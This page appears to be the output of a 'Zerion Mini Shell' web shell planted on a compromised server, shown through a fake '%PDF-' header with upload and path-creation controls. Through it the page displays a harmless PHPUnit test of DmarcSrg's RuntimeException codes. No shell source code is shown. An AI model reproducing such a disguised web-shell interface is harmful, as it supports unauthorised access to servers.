%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/dmarc.varak.net/tests/classes/Exception/
Upload File :
Create Path :
Current File : /www/varak.net/dmarc.varak.net/tests/classes/Exception/RuntimeExceptionTest.php

<?php

namespace Liuch\DmarcSrg;

use Liuch\DmarcSrg\Exception\RuntimeException;

class RuntimeExceptionTest extends \PHPUnit\Framework\TestCase
{
    public function testExceptionCode(): void
    {
        $this->assertSame(-1, (new RuntimeException())->getCode());
        $this->assertSame(0, (new RuntimeException('', 0))->getCode());
        $this->assertSame(-1, (new RuntimeException('', -1))->getCode());
        $this->assertSame(77, (new RuntimeException('', 77))->getCode());
    }
}

Zerion Mini Shell 1.0